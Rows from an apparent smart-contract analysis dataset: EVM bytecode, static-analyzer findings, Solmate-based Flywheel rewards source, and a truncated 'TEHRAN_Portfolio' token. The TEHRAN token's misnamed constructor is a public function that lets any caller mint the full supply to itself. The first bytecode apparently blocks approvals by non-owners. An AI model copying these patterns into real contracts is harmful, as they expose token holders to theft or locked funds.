0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122093b91bf498a5b59b8b293322d2e6ad141f52448604c5f08694da35afca5c08cc64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,349 |
0x98263e8b0f4205e6faae92bede2dc54c2c4f743d
|
/**
*Submitted for verification at Etherscan.io on 2022-02-17
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
/**
@title Rewards Module for Flywheel
@notice The rewards module is a minimal interface for determining the quantity of rewards accrued to a flywheel market.
Different module strategies include:
* a static reward rate per second
* a decaying reward rate
* a dynamic just-in-time reward stream
* liquid governance reward delegation
*/
interface IFlywheelRewards {
function getAccruedRewards(ERC20 market, uint32 lastUpdatedTimestamp) external returns (uint256 rewards);
}
/**
@title Balance Booster Module for Flywheel
@notice An optional module for virtually boosting user balances. This allows a Flywheel Core to plug into some balance boosting logic.
Boosting logic can be associated with referrals, vote-escrow, or other strategies. It can even be used to model exotic strategies like borrowing.
*/
interface IFlywheelBooster {
function boostedTotalSupply(ERC20 market) external view returns(uint256);
function boostedBalanceOf(ERC20 market, address user) external view returns(uint256);
}
/**
@title Flywheel Core Incentives Manager
@notice Flywheel is a general framework for managing token incentives.
It is comprised of the Core (this contract), Rewards module, and optional Booster module.
Core is responsible for maintaining reward accrual through reward indexes.
It delegates the actual accrual logic to the Rewards Module.
For maximum accuracy and to avoid exploits, rewards accrual should be notified atomically through the accrue hook.
Accrue should be called any time tokens are transferred, minted, or burned.
*/
contract FlywheelCore is Auth {
event AddMarket(address indexed newMarket);
event FlywheelRewardsUpdate(address indexed oldFlywheelRewards, address indexed newFlywheelRewards);
event AccrueRewards(ERC20 indexed cToken, address indexed owner, uint rewardsDelta, uint rewardsIndex);
event ClaimRewards(address indexed owner, uint256 amount);
struct RewardsState {
/// @notice The market's last updated index
uint224 index;
/// @notice The timestamp the index was last updated at
uint32 lastUpdatedTimestamp;
}
/// @notice The token to reward
ERC20 public immutable rewardToken;
/// @notice the rewards contract for managing streams
IFlywheelRewards public flywheelRewards;
/// @notice optional booster module for calculating virtual balances on markets
IFlywheelBooster public immutable flywheelBooster;
/// @notice the fixed point factor of flywheel
uint224 public constant ONE = 1e18;
/// @notice The market index and last updated per market
mapping(ERC20 => RewardsState) public marketState;
/// @notice user index per market
mapping(ERC20 => mapping(address => uint224)) public userIndex;
/// @notice The accrued but not yet transferred rewards for each user
mapping(address => uint256) public rewardsAccrued;
/// @dev immutable flag for short-circuiting boosting logic
bool internal immutable applyBoosting;
constructor(
ERC20 _rewardToken,
IFlywheelRewards _flywheelRewards,
IFlywheelBooster _flywheelBooster,
address _owner,
Authority _authority
) Auth(_owner, _authority) {
rewardToken = _rewardToken;
flywheelRewards = _flywheelRewards;
flywheelBooster = _flywheelBooster;
applyBoosting = address(_flywheelBooster) != address(0);
}
/// @notice initialize a new market
function addMarketForRewards(ERC20 market) external requiresAuth {
marketState[market] = RewardsState({
index: ONE,
lastUpdatedTimestamp: uint32(block.timestamp)
});
emit AddMarket(address(market));
}
/// @notice swap out the flywheel rewards contract
function setFlywheelRewards(IFlywheelRewards newFlywheelRewards) external requiresAuth {
address oldFlywheelRewards = address(flywheelRewards);
flywheelRewards = newFlywheelRewards;
emit FlywheelRewardsUpdate(oldFlywheelRewards, address(newFlywheelRewards));
}
/// @notice accrue rewards for a single user on a market
function accrue(ERC20 market, address user) public returns (uint256) {
RewardsState memory state = marketState[market];
if (state.index == 0) return 0;
state = accrueMarket(market, state);
return accrueUser(market, user, state);
}
/// @notice accrue rewards for two users on a market
function accrue(ERC20 market, address user, address secondUser) public returns (uint256, uint256) {
RewardsState memory state = marketState[market];
if (state.index == 0) return (0, 0);
state = accrueMarket(market, state);
return (accrueUser(market, user, state), accrueUser(market, secondUser, state));
}
/// @notice claim rewards for a given owner
function claim(address owner) external {
uint256 accrued = rewardsAccrued[owner];
if (accrued != 0) {
rewardsAccrued[owner] = 0;
rewardToken.transfer(owner, accrued);
emit ClaimRewards(owner, accrued);
}
}
/// @notice accumulate global rewards on a market
function accrueMarket(ERC20 market, RewardsState memory state) private returns(RewardsState memory rewardsState) {
// calculate accrued rewards through module
uint256 marketRewardsAccrued = flywheelRewards.getAccruedRewards(market, state.lastUpdatedTimestamp);
rewardsState = state;
if (marketRewardsAccrued > 0) {
// use the booster or token supply to calculate reward index denominator
uint256 supplyTokens = applyBoosting ? flywheelBooster.boostedTotalSupply(market): market.totalSupply();
// accumulate rewards per token onto the index, multiplied by fixed-point factor
rewardsState = RewardsState({
index: state.index + uint224(marketRewardsAccrued * ONE / supplyTokens),
lastUpdatedTimestamp: uint32(block.timestamp)
});
marketState[market] = rewardsState;
}
}
/// @notice accumulate rewards on a market for a specific user
function accrueUser(ERC20 market, address user, RewardsState memory state) private returns (uint256) {
// load indices
uint224 supplyIndex = state.index;
uint224 supplierIndex = userIndex[market][user];
// sync user index to global
userIndex[market][user] = supplyIndex;
// if user hasn't yet accrued rewards, grant them interest from the market beginning if they have a balance
// zero balances will have no effect other than syncing to global index
if (supplierIndex == 0) {
supplierIndex = ONE;
}
uint224 deltaIndex = supplyIndex - supplierIndex;
// use the booster or token balance to calculate reward balance multiplier
uint256 supplierTokens = applyBoosting ? flywheelBooster.boostedBalanceOf(market, user) : market.balanceOf(user);
// accumulate rewards by multiplying user tokens by rewardsPerToken index and adding on unclaimed
uint256 supplierDelta = supplierTokens * deltaIndex / ONE;
uint256 supplierAccrued = rewardsAccrued[user] + supplierDelta;
rewardsAccrued[user] = supplierAccrued;
emit AccrueRewards(market, user, supplierDelta, supplyIndex);
return supplierAccrued;
}
}
contract FuseFlywheelCore is FlywheelCore {
bool public constant isRewardsDistributor = true;
constructor(
ERC20 _rewardToken,
IFlywheelRewards _flywheelRewards,
IFlywheelBooster _flywheelBooster,
address _owner,
Authority _authority
) FlywheelCore(_rewardToken, _flywheelRewards, _flywheelBooster, _owner, _authority) {}
function flywheelPreSupplierAction(ERC20 market, address supplier) external {
accrue(market, supplier);
}
function flywheelPreBorrowerAction(ERC20 market, address borrower) external {}
function flywheelPreTransferAction(ERC20 market, address src, address dst) external {
accrue(market, src, dst);
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063ab5497d7116100ad578063c2ee3a0811610071578063c2ee3a0814610323578063cc6bc10114610332578063e6e162e81461035a578063f046ee5c1461036c578063f7c618c11461037f57600080fd5b8063ab5497d7146102ab578063abc6d72d146102d2578063b006340d146102ea578063b9be44ac146102fd578063bf7e214f1461031057600080fd5b80637a9e5e4b116100f45780637a9e5e4b146101d05780637fb5ad38146101e35780638da5cb5b146102115780638fb009131461023c578063a7a9a62c1461024f57600080fd5b8063116139d31461013157806313af4035146101825780631c9161e0146101975780631e83409a146101aa5780634e081c95146101bd575b600080fd5b61016561013f366004610dea565b60046020908152600092835260408084209091529082529020546001600160e01b031681565b6040516001600160e01b0390911681526020015b60405180910390f35b610195610190366004610e23565b6103a6565b005b6101956101a5366004610dea565b61042c565b6101956101b8366004610e23565b61043b565b6101956101cb366004610e47565b61054b565b6101956101de366004610e23565b61055d565b6102036101f1366004610e23565b60056020526000908152604090205481565b604051908152602001610179565b600054610224906001600160a01b031681565b6040516001600160a01b039091168152602001610179565b61019561024a366004610e23565b610647565b61028761025d366004610e23565b6003602052600090815260409020546001600160e01b03811690600160e01b900463ffffffff1682565b604080516001600160e01b03909316835263ffffffff909116602083015201610179565b6102247f000000000000000000000000000000000000000000000000000000000000000081565b6102da600181565b6040519015158152602001610179565b6101956102f8366004610e23565b6106cb565b61020361030b366004610dea565b610781565b600154610224906001600160a01b031681565b610165670de0b6b3a764000081565b610345610340366004610e47565b6107f7565b60408051928352602083019190915201610179565b610195610368366004610dea565b5050565b600254610224906001600160a01b031681565b6102247f0000000000000000000000005a98fcbea516cf06857215779fd812ca3bef1b3281565b6103bc336000356001600160e01b031916610880565b6103e15760405162461bcd60e51b81526004016103d890610e92565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8292fce18fa69edf4db7b94ea2e58241df0ae57f97e0a6c9b29067028bf92d769190a350565b6104368282610781565b505050565b6001600160a01b0381166000908152600560205260409020548015610368576001600160a01b03828116600081815260056020526040808220919091555163a9059cbb60e01b81526004810191909152602481018390527f0000000000000000000000005a98fcbea516cf06857215779fd812ca3bef1b329091169063a9059cbb906044016020604051808303816000875af11580156104df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105039190610eb8565b50816001600160a01b03167f1f89f96333d3133000ee447473151fa9606543368f02271c9d95ae14f13bcc678260405161053f91815260200190565b60405180910390a25050565b6105568383836107f7565b5050505050565b6000546001600160a01b03163314806105f2575060015460405163b700961360e01b81526001600160a01b039091169063b7009613906105b190339030906001600160e01b03196000351690600401610eda565b602060405180830381865afa1580156105ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f29190610eb8565b6105fb57600080fd5b600180546001600160a01b0319166001600160a01b03831690811790915560405133907fa3396fd7f6e0a21b50e5089d2da70d5ac0a3bbbd1f617a93f134b7638998019890600090a350565b61065d336000356001600160e01b031916610880565b6106795760405162461bcd60e51b81526004016103d890610e92565b600280546001600160a01b038381166001600160a01b0319831681179093556040519116919082907fc88394d92ca818942c423842b933c023fc08dbdb030fcaf02ac41b89e2d1d9f690600090a35050565b6106e1336000356001600160e01b031916610880565b6106fd5760405162461bcd60e51b81526004016103d890610e92565b604080518082018252670de0b6b3a7640000815263ffffffff42811660208084019182526001600160a01b0386166000818152600390925285822094519251909316600160e01b026001600160e01b03929092169190911790925591517fc3dfb88ee5301cecf05761fb2728064e5b641524346ae69b9ba80394631bf11f9190a250565b6001600160a01b03821660009081526003602090815260408083208151808301909252546001600160e01b038116808352600160e01b90910463ffffffff1692820192909252906107d65760009150506107f1565b6107e0848261092a565b90506107ed848483610b74565b9150505b92915050565b6001600160a01b03831660009081526003602090815260408083208151808301909252546001600160e01b038116808352600160e01b90910463ffffffff16928201929092528291610850576000809250925050610878565b61085a868261092a565b9050610867868683610b74565b610872878684610b74565b92509250505b935093915050565b6001546000906001600160a01b0316801580159061090a575060405163b700961360e01b81526001600160a01b0382169063b7009613906108c990879030908890600401610eda565b602060405180830381865afa1580156108e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090a9190610eb8565b806107ed57506000546001600160a01b0385811691161491505092915050565b6040805180820190915260008082526020820152600254602083015160405163b334db7b60e01b81526001600160a01b03868116600483015263ffffffff9092166024820152600092919091169063b334db7b906044016020604051808303816000875af11580156109a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c49190610f07565b83925090508015610b6d5760007f0000000000000000000000000000000000000000000000000000000000000000610a5d57846001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a589190610f07565b610ae7565b604051631e1932fb60e01b81526001600160a01b0386811660048301527f00000000000000000000000000000000000000000000000000000000000000001690631e1932fb90602401602060405180830381865afa158015610ac3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae79190610f07565b604080518082019091529091508082610b08670de0b6b3a764000086610f36565b610b129190610f55565b8651610b1e9190610f77565b6001600160e01b03908116825263ffffffff4281166020938401526001600160a01b03891660009081526003845260409020845193850151909116600160e01b02929091169190911790559250505b5092915050565b80516001600160a01b038481166000908152600460209081526040808320938716835292905290812080546001600160e01b038085166001600160e01b03198316179092559192911680610bcd5750670de0b6b3a76400005b6000610bd98284610fa2565b905060007f0000000000000000000000000000000000000000000000000000000000000000610c71576040516370a0823160e01b81526001600160a01b0388811660048301528916906370a0823190602401602060405180830381865afa158015610c48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6c9190610f07565b610d03565b604051631a50ef2f60e01b81526001600160a01b03898116600483015288811660248301527f00000000000000000000000000000000000000000000000000000000000000001690631a50ef2f90604401602060405180830381865afa158015610cdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d039190610f07565b90506000670de0b6b3a7640000610d236001600160e01b03851684610f36565b610d2d9190610f55565b6001600160a01b03891660009081526005602052604081205491925090610d55908390610fca565b6001600160a01b03808b16600081815260056020526040908190208490555192935091908c16907f35a61f3c719e8f59f636c336e563ba74f667fadafcc80d709231ca8bb59eecce90610dbd9086908b909182526001600160e01b0316602082015260400190565b60405180910390a39998505050505050505050565b6001600160a01b0381168114610de757600080fd5b50565b60008060408385031215610dfd57600080fd5b8235610e0881610dd2565b91506020830135610e1881610dd2565b809150509250929050565b600060208284031215610e3557600080fd5b8135610e4081610dd2565b9392505050565b600080600060608486031215610e5c57600080fd5b8335610e6781610dd2565b92506020840135610e7781610dd2565b91506040840135610e8781610dd2565b809150509250925092565b6020808252600c908201526b15539055551213d49256915160a21b604082015260600190565b600060208284031215610eca57600080fd5b81518015158114610e4057600080fd5b6001600160a01b0393841681529190921660208201526001600160e01b0319909116604082015260600190565b600060208284031215610f1957600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615610f5057610f50610f20565b500290565b600082610f7257634e487b7160e01b600052601260045260246000fd5b500490565b60006001600160e01b03828116848216808303821115610f9957610f99610f20565b01949350505050565b60006001600160e01b0383811690831681811015610fc257610fc2610f20565b039392505050565b60008219821115610fdd57610fdd610f20565b50019056fea2646970667358221220484f874cfe659571a66d9d9937d2c359ecd069da70cc19af8e32f0b155f2bb3464736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,350 |
0x59f8c9f1290b4ec0d8d017895066f2bda94cd1a2
|
pragma solidity ^0.4.21 ;
contract TEHRAN_Portfolio_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " TEHRAN_Portfolio_I_883 " ;
string public symbol = " TEHRAN883 " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 2140354551050680000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEHRAN_Portfolio_I_metadata_line_1_____Asan_Pardakht_Pers_20250515 >
// < CJO0TdiK0uiWB0lIp8R4jD9W3NpZiV2O7ibv5Fe8AybOjP320HioFP404o3y9Nt8 >
// < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000061210881.473286600000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000000000037A0ED4 >
// < TEHRAN_Portfolio_I_metadata_line_2_____Bank_Melli_Inv_20250515 >
// < 757g2ap9JV3eU0k18t4IjG867qIE0rdcwu8N6u48FiFWUY46jYT16LEt481wAn3f >
// < u =="0.000000000000000001" : ] 000000061210881.473286600000000000 ; 000000116460677.664409000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000037A0ED456471373 >
// < TEHRAN_Portfolio_I_metadata_line_3_____Fajr_Petrochemical_20250515 >
// < z1G01Kjfz6uI2KwkOM56ZgChx2CgjyKk8sTj279r591zck24pcKTXC0F6AJ41q3y >
// < u =="0.000000000000000001" : ] 000000116460677.664409000000000000 ; 000000171382463.440255000000000000 ] >
